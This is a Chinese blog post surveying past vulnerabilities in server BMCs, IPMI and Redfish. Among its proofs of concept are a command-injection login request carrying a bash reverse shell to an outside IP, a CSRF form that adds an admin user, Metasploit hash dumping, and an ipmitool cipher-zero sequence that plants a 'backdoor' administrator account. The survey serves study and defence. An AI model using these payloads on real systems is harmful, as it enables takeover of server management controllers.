BMC 历史漏洞汇总

刚开始接触 BMC 以为研究的人比较少,感觉一般人也没有机会接触到。尤其是服务器风扇的声音,一般人也不想去碰。去查了一下 CVE 之后,发现有不少漏洞,还挺多人玩的。近期也在研究这一块,把 BMC 曾曝出的漏洞做个汇总,看看大佬们都有哪些奇妙的思路。

BMC (Baseboard Management Controller)即 基板管理控制器 ,提供 IPMI/Redfish 架构中的智能特性。它是嵌入在计算机(通常是服务器)主板上的专用微控制器。 BMC负责管理系统管理软件和平台硬件之间的接口。用于计算机系统的带外管理和管理员操作监视。提供的服务包括服务器物理健康状态检测,服务器软硬件信息和运行状态查询、开关机、远程安装操作系统等。

img

有了BMC,运维人员可以通过浏览器等远程控制服务器(下图是HPE ILO后台),比如开关机、装系统、进入服务器终端等,而不用跑到机房忍受高温、令人崩溃的声音。而我们搞安全的就不一样,就"喜欢"听(被迫,要连接串口线),都不用降噪耳机呢!

img

云服务器带外管理

带外管理是指远程客户端通过网络物理通道对服务器进行控制管理和维护。常见的带外管理接口有 IPMI 和 Redfish。

IPMI

1998年,由Intel和HP主推的IPMI标准,引入了单独的带外管理芯片BMC。智能平台管理接口(IPMI)是一套为自主计算机子系统定义的计算机接口规范,用于提供独立于主机系统的CPU,固件(BIOS或UEFI)和操作系统等软硬件的管理和监视功能。 IPMI定义了一套系统管理员接口,格式统一格式,对下层透明,可以架构在网络、串行/Moderm接口、IPMB(I2C)、KCS、SMIC、SMBus等不同接口上。

IPMI也在 2015 年公布 2.0 v1.1标准后,停止更新维护,被 RedFish 永久代替。为了做到兼容,现在不少服务器上仍然支持 IPMI。

IMPI规范主体架构如下:

img

使用 IPMI 的 BMC系统如下所示:

IPMI 命令举例
# 查看设备信息
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin chassis status
# 查看用户
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin user list
# 服务器的开机,关机
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin power on
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin power off
# 查看BMC的信息
/usr/bin/ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin mc info

Redfish

RedFish标准由DMTF组织的SPMF论坛维护,它的提出者与 IPMI 的提出者几乎一样。可以说是下一代云服务器带外管理接口。开发Redfish的主要原因之一是解决 IPMI 遗留的无法有效解决的安全需求。Redfish的第1版侧重于服务器,为IPMI - over - LAN提供了一个安全、多节点的替代品。随后 的Redfish版本增加了对网络接口(例如NIC、 CNA和FC HBA )、PCIe交换、本地存储、 NVDIMM、多功能适配器和可组合性以及固 件更新服务、软件更新推送方法和安全特权映射的管理。

Redfish 是一种基于 HTTPs 服务的管理标准,利用 RESTful 接口实现设备管理。每个 HTTPs 操作都以 UTF-8 编码的JSON 的形式,提交或返回一个资源。就像 Web 应用程序向浏览器返回 HTML 一样,RESTful 接口会通过同样的传输机制(HTTPS),以JSON 的形式向客户端返回数据,用于现有客户端应用程序和基于浏览 器的GUI。

API 举例

在Redfish中,所有资源都是从服务入口点( root )链接的,服务入口点始终位于URL: /redfish/v1。添加用户/redfish/v1/AccountService/Account:

img

含POC的漏洞(部分)

CVE-2020-21224:[浪潮 NF5266M5 Cluster Management System 命令注入]

用户登录页面中的用户和密码字段存在命令注入漏洞。

img

后台的处理代码类似。

var1 = `grep xxxx`
var2 = $(python -c "from crypt import crypt;print crypt('$passwd','$1$$var1')")
img

发送 POST 消息实现反弹shell。

op=login&username=1 2\',\'1\'\);  `bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.16.11.81%2F80%200%3E%261`
img

CVE-2019-19642:[SuperMicro IPMI 命令注入]

基于IPMI 的虚拟媒体服务存在命令注入漏洞,ShareHost 、ShareName、PathToimg 等参数均存在命令注入问题,可以使用反引号 "`" 注入任意命令。

img

CVE-2020-15046 : [SuperMicro IPMI 03.40 - CSRF(添加管理员用户)]

CSRF 添加管理员用户 PoC :

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://SuperMicro-IP/cgi/config_user.cgi" method="POST">
      <input type="hidden" name="username" value="JOKER" />
      <input type="hidden" name="original&#95;username" value="2" />
      <input type="hidden" name="password" value="onebadday" />
      <input type="hidden" name="new&#95;privilege" value="4" />
      <input type="submit" value="submit request" />
    </form>

CVE-2018-7117: [HPE iLO5 XSS]

HPE iLO5 Web 后台 DHCP 选项 15domain name 未转移特殊字符,造成了XSS。

img

[CVE-2017-12542][0]: HPE ILO4 认证绕过

在访问 https://127.0.0.1:8443/rest/v1/AccountService/Accounts 时,在HTTP头的Connection中添加大于等于29个字符后,即可绕过验证(下图为成功获取到目标的iLO登录用户名):

img

CVE-2014-8272:[Dell iDRAC IPMI 1.5 - Session ID 随机化问题可被预测]

iDRAC 的 session 格式为 0x0200XXYY。三四字节 0x0200 代表 iDRAC 支持的 IPMI 的版本。第一个字节 YY 的取值范围在 0x00~03,表示会话ID,意味着多点登录的数量不能超过4个。第二个字节 XX,在激活阶段使用临时会话ID后会+1。0x00 具备特殊含义,剩下 28- 1 种可能,从 0x01 ~ 0xFF。

利用:

  1. 使用任意账户发送 “Get Session Challenge” 请求获取当前的临时会话 ID。

  2. 使用下一个会话 ID 构造 IPMI 命令,这个会话 ID 是临时ID+3。

  3. 重复发送构造的请求,注入到下一个会话中。

POC: [exploit-db][1]

Supermicro IPMI 密码泄露

SuperMicro老版本在49152放置了明文密码文件。攻击者可以通过请求服务器49152端口的 /PSBlock 文件,就可得到80端口web管理界面的密码,密码放在PSBlock文件中。

IPMI 接口漏洞

IPMI(Intelligent PlatformManagement Interface)智能平台管理接口,原本是一种Intel架构的企业系统的周边设备所采用的一种工业标准。IPMI亦是一个开放的免费标准,用户无需支付额外的费用即可使用此标准。

IPMI 能够横跨不同的操作系统、固件和硬件平台,可以智能的监视、控制和自动回报大量服务器的运行状况,以降低服务器系统成本。IPMI基于UDP协议进行传输,基于该协议建立的远程管理控制服务,默认绑定在623端口。

  • 大部分设备都存在默认账号和
img
  • [CVE-2013-4786][3]:IPMI 2.0 RAKP 密码哈希泄露

在IPMI RAKP 消息 2 回复中包含获得 HMAC,通过本地爆破可以得到密码。

$ ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H 192.168.8.117 chassis identify
[...]
 Key exchange auth code [sha1] : 0xede8ec3caeb235dbad1210ef985b1b19cdb40496
[...]

Metasploit 提供了扫描模块 auxiliary/scanner/ipmi/ipmi_dumphashes。

msf> use auxiliary/scanner/ipmi/ipmi_dumphashes
msf auxiliary(ipmi_dumphashes) > set RHOSTS 10.0.0.0/24
msf auxiliary(ipmi_dumphashes) > set THREADS 256
msf auxiliary(ipmi_dumphashes) > run
[ ] 10.0.0.59 root:266ead5921000000....000000000000000000000000000000001404726f6f74:eaf2bd6a5 3ee18e3b2dfa36cc368ef3a4af18e8b
[ ] 10.0.0.59 Hash for user 'root' matches password 'calvin'
[ ] 10.0.0.59 :408ee18714000000d9cc....000000000000000000000000000000001400:93503c1b7af26abee 34904f54f26e64d580c0
[ ] 10.0.0.59 Hash for user '' matches password 'admin'
  • [ipmicipherzero][4]

远程攻击者可通过使用密码套件0(又名cipher zero)和任意的密码,利用该漏洞绕过身份认证,执行任意IPMI命令。IPMI 2.0使用cipher zero加密组件时,攻击者只需要知道一个有效的用户名就可以接管IPMI的功能。

正常状态下,提供错误的账户是不能建立会话的。

$ ipmitool -I lanplus -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
Error: Unable to establish IPMI v2 / RMCP session
Get User Access command failed (channel 14, user 1)

添加 -C 0 选项,使用 cipher 0 了绕过认证。

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
1  Administrator    true    false      true      ADMINISTRATOR
2  (Empty User)    true    false      false      NO ACCESS

添加一个后门账户。

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set name 2 backdoor
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set password 2 password
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user priv 2 4
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user enable 2
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
1  Administrator    true    false      true      ADMINISTRATOR
2  backdoor              true    false      true      ADMINISTRATOR
$ ssh backdoor@10.0.0.99
backdoor@10.0.0.99's password: password
User:backdoor logged-in to ILOMXQ3469216(10.0.0.99)
iLO 4 Advanced Evaluation 1.13 at  Nov 08 2012
Server Name: host is unnamed
Server Power: On
</>hpiLO->

漏洞列表(部分)

BMC 存在的漏洞以 Web 后台管理的居多,ipmi、redfish 等管理接口也有不少的问题。暴露的漏洞种类繁多,出现的漏洞类型如下,并列举了部分案例。 总体来看命令注入、认证绕过、越权以及信息泄露这四种占比较大,威胁系数也属于最高。

  • XSS
  • CVE-2019-11216: 惠普 iLO5 XSS 漏洞。
  • CVE-2019-6159: IBM System x IMM XSS 漏洞。
  • CSRF
  • CVE-2020-15046: SuperMicro IPMI 03.40 可利用 CSRF 添加管理员用户。
  • 命令注入
  • CVE-2020-21224 : 浪潮 NF5266M5 Cluster Management System 命令注入。
  • CVE-2019-1885: 思科 Integrated Management Controller (IMC) 由于校验不足,导致可通过 redfish 执行任意命令。
  • CVE-2019-19642: SuperMicro IPMI 基于IPMI 的虚拟媒体服务存在命令注入漏洞。
  • CVE-2018-9086: Lenovo ThinkServer-branded 服务器固件下载命令存在命令注入漏洞,允许授权用户下载任意代码执行。
  • 越权
  • CVE-2018-15774:戴尔 EMC iDRAC 校验不足导致,普通用户可通过 redfish 提升至管理员权限。
  • CVE-2018-7950/CVE-2018-7951 华为 iBMC JSON 注入修改管理员密码提升至管理员权限。
  • CVE-2018-7949 : 华为 iBMC 登录功能存在缺陷,低权限用户可获得以及修改管理员密码。
  • CVE-2018-7941: 华为 iBMC 低权限用户通过上传证书提升至管理员权限。
  • CVE-2017-17323:华为 iBMC 低权限用户可访问高权限用户才能访问的页面。
  • 认证绕过
  • CVE-2018-1668: IBM DataPower Gateway 允许使用 "null" 登录,能够读取 IPMI 的敏感数据。
  • CVE-2017-12542: HPE iLO5 认证绕过漏洞。
  • CVE-2013-4784: HP iLO 任意密码绕过, 利用 IPMI cipher 0。
  • CVE-2014-8272: IPMI 1.5会话ID随机性不足。
  • CVE-2013-4782: Supermicro 身份验证绕过导致任意代码执行。
  • CVE-2013-4783: Dell iDRAC6 身份验证绕过导致任意代码执行。
  • 加密算法强度不足
  • CVE-2016-6899:华为 iBMC 包含了弱加密算法,攻击者能够解密加密的数据,导致信息泄露。
  • 拒绝服务
  • CVE-2016-6900: 华为 iBMC 资源消耗漏洞,造成拒绝服务漏洞。
  • 缓冲区溢出
  • CVE-2021-29202: HPE iLO4/5 缓冲区溢出漏洞。
  • CVE-2013-3623: Supermicrocgi/close_window.cgi缓冲区溢出任意命令执行。
  • CVE-2013-3622: Supermicro logout.cgi缓冲区溢出任意命令执行
  • 信息泄露:管理员凭证、任意文件下载、API接口
  • CVE-2020-14156: openbmc 信息泄露,任何使用 SSH、SCP 访问 MBC 的用户都能去读 /etc/ipmi_pass文件,解码认证凭证后能越权到其他用户。
  • CVE-2014-0860: IBM BladeCenter高级管理模块IPMI明文凭证泄漏。
  • CVE-2013-4786: IPMI2.0离线密码爆破漏洞。
  • CVE-2013-4037: IBM IPMI明文凭证泄漏。
  • CVE-2013-4037: IPMI 密码哈希值泄漏漏洞。
  • 硬编码:
  • CVE-2013-4031: IPMI用户默认账号登录漏洞。
  • 逻辑漏洞:
  • CVE-2020-26122:浪潮 NF5266M5 服务器固件更新验证脆弱,向固件包中插入恶意代码可获取系统控制权。
  • CVE-2019-4169: IBM Open Power Firmware OP910 and OP920 密码更改后原密码不失效。
  • CVE-2019-6161: ThinkAgile CP-SB 会话可被重用。

参考

  • [基于IPMI协议的DDoS反射攻击分析][0]
  • [IPMI相关漏洞利用及WEB端默认口令登录漏洞][1]
  • [服务器BMC技术调研][2]
  • [服务器基板管理控制器(BMC)带外管理功能和性能要求][3]
  • [CVE-2017-12542简单分析及复现][4]
  • [ClusterEngineV4.0 Vul][5]
  • [SuperMicro IPMI Exploitation][6]
  • [CVE-2014-8272: A Case of Weak Session-ID in Dell iDRAC][7]
  • [A Penetration Tester's Guide to IPMI and BMCs][8]
  • [Supermicro IPMI Firmware Vulnerabilities][9]
  • [623/UDP/TCP - IPMI - HackTricks][10]
  • [Cracking IPMI Passwords Remotely][11]
  • [The Infamous Cipher Zero][12]
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,921评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,635评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,393评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,836评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,833评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,685评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,043评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,694评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,671评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,670评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,779评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,424评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,027评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,984评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,214评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,108评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,517评论 2 343

推荐阅读更多精彩内容

  • 没有过多涉及原理和分析,只是作为记录,免得一问三不知。 T3协议 什么是RMI:远程方法调用(Remote Met...
    jjf012阅读 6,760评论 1 5
  • 访问控制类漏洞与隐患 这一类漏洞与隐患属于访问控制与身份鉴别问题,一般有没有配置访问控制、访问控制弱(弱口令或者空...
    道书简阅读 1,565评论 0 0
  • sudo 的全称是“superuserdo”,它是Linux系统管理指令,允许用户在不需要切换环境的前提下以其它用...
    yyyyyyyyt阅读 417评论 0 0
  • FCKeditor FCKeditor编辑页 FCKeditor查看编辑器版本 FCKeditor V2.43版本...
    嘎闻旺阅读 2,535评论 0 4
  • 表情是什么,我认为表情就是表现出来的情绪。表情可以传达很多信息。高兴了当然就笑了,难过就哭了。两者是相互影响密不可...
    Persistenc_6aea阅读 124,095评论 2 7